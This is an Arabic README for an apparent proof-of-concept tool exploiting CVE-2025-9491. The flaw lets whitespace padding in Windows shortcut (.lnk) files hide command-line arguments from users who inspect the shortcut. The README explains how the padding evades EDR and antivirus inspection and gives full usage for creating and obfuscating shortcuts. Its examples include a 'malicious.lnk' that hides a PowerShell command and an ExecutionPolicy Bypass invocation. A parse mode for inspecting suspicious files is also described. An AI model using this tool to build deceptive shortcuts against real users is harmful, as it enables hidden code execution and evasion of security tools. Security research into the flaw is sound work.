
إثبات المفهوم لـ CVE-2025-9491 باستخدام أحرف غير مرئية في وسائط ملف اختصار ويندوز (.lnk)
أداة إثبات مفهوم لاستغلال ثغرة الاختصارات (LNK) في ويندوز (ZDI-CAN-25373/CVE-2025-9491). تُظهر هذه الأداة كيف يمكن إخفاء وسائط سطر الأوامر الخبيثة داخل ملفات .lnk باستخدام حشو بمسافات بيضاء.
**هذه الأداة مقدمة لأغراض تعليمية واختبارات أمنية مصرح بها فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. استخدم هذه الأداة فقط على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها.
هذه أداة إثبات مفهوم لإنشاء ومعالجة ملفات .lnk (اختصارات) في ويندوز لعرض الثغرة CVE-2025-9491. تتيح الأداة للمستخدمين:
تستغل الثغرة كيفية عرض ويندوز لخصائص ملفات الاختصار، مما يسمح للمهاجمين بإخفاء وسائط سطر الأوامر الخبيثة عن المستخدمين الذين يفحصون الاختصار.
CVE-2025-9491 هي ثغرة في تمثيل واجهة المستخدم في ويندوز تؤثر على ملفات .lnk (الاختصارات). تم اكتشافها بواسطة مبادرة Zero Day Initiative التابعة لـ Trend Micro (ZDI-CAN-25373) وقد تم استغلالها من قبل مجموعات APT مدعومة من دول منذ عام 2017 على الأقل (راجع الإسناد للحصول على تفاصيل إضافية).
تستغل الثغرة الحقل "الهدف" ذو الحجم الثابت في واجهة مستخدم الاختصارات في ويندوز. عن طريق حشو الوسائط بأحرف مسافات بيضاء (مسافة، تاب، سطر جديد، رجوع عربة)، يمكن للجهات الخبيثة: إخفاء الأوامر الخبيثة وتنفيذ حمولات مخفية. يمكن استخدام هذا أيضًا لتجنب الكشف، حيث يرى المستخدمون الذين يفحصون الاختصار فقط المسافات البيضاء المحشوة، وليس الأمر الفعلي، وستحصل أنظمة EDR على سطر أوامر طويل جدًا في بيانات التتبع، وإذا كان طويلًا بما يكفي، ستتخلى أنظمة EPP أو AV الشائعة عن قراءته بالكامل.
يتطلب Python 3.7 أو أعلى.
استنساخ أو تنزيل المستودع:
git clone https://github.com/amperlcock/CVE-2025-9491_POC.git
cd CVE-2025-9491_POC
تثبيت التبعيات:
طريقة سريعة وغير نظيفة، يُفضل استخدام البيئة الافتراضية.
pip install -r requirements.txt
تشغيل الأداة:
python main.py --help
تحتوي الأداة على ثلاثة أوضاع رئيسية: create و obfuscate و parse.
إنشاء ملف LNK جديد معتّم من الصفر.
الصيغة:
python main.py create -t TARGET -a ARGUMENTS -o OUTPUT [options]
الوسائط الإلزامية:
-t, --target - مسار الملف التنفيذي الهدف-a, --arguments - الوسائط التي يجب تمريرها إلى الملف التنفيذي الهدف-o, --output - وجهة ملف LNK الناتجالوسائط الاختيارية:
-c, --charset - مجموعة أحرف مخصصة للحشو (بصيغة HEX)
20,09,0A,0B,0C,0D (مسافة، تاب، LF، VT، FF، CR)-s, --padding_size - عدد أحرف الحشو
128 (لا يوجد حد معروف)-p, --pattern_type - نمط الحشو
-i, --icon - مسار أيقونة مخصصة للاختصار
-d, --description - وصف مرئي للاختصار
-v, --verbose - تفعيل الإخراج المفصل
مثال:
python main.py create -t C:\Windows\System32\cmd.exe -a "/c whoami" -o output.lnk -s 256 -v
إضافة حشو إلى وسائط ملف LNK موجود.
الصيغة:
python main.py obfuscate -i INPUT -o OUTPUT [options]
الوسائط الإلزامية:
-i, --input - مسار ملف LNK الموجود لتعتيمه-o, --output - وجهة ملف LNK الناتجالوسائط الاختيارية:
-c, --charset - مجموعة أحرف مخصصة للحشو (بصيغة HEX)
20,09,0A,0B,0C,0D-s, --padding_size - عدد أحرف الحشو
128-p, --pattern_type - نمط الحشو
-v, --verbose - تفعيل الإخراج المفصل
مثال:
python main.py obfuscate -i benign.lnk -o obfuscated.lnk -s 256 -p 3 -v
عرض محتويات ملف LNK موجود.
الصيغة:
python main.py parse -i INPUT
الوسائط الإلزامية:
-i, --input - مسار ملف LNK لتحليله وعرضهمثال:
python main.py parse -i output.lnk
python main.py create \
-t "cmd.exe" \
-a "/c powershell -Command Get-Process" \
-o malicious.lnk \
-s 200 \
-p 1 \
-v
ينشئ هذا اختصارًا إلى cmd.exe مع أمر PowerShell مخفي مسبوق بـ 200 حرف حشو عشوائي.
python main.py obfuscate \
-i "legitimate.lnk" \
-o "obfuscated.lnk" \
-s 512 \
-c "20,09,0A" \
-p 2
يضيف هذا 512 حرفًا من الحشو الأحادي (باستخدام مسافة وتاب) إلى اختصار موجود.
python main.py parse -i "suspicious.lnk"
يظهر الإخراج جميع الخصائص بما في ذلك الوسائط المخفية.
python main.py create \
-t "powershell.exe" \
-a "-NoProfile -ExecutionPolicy Bypass -Command 'Get-ChildItem'" \
-o output.lnk \
-c "20,09,0A,0B,0C,0D" \
-s 1024 \
-p 3 \
-d "مستندي"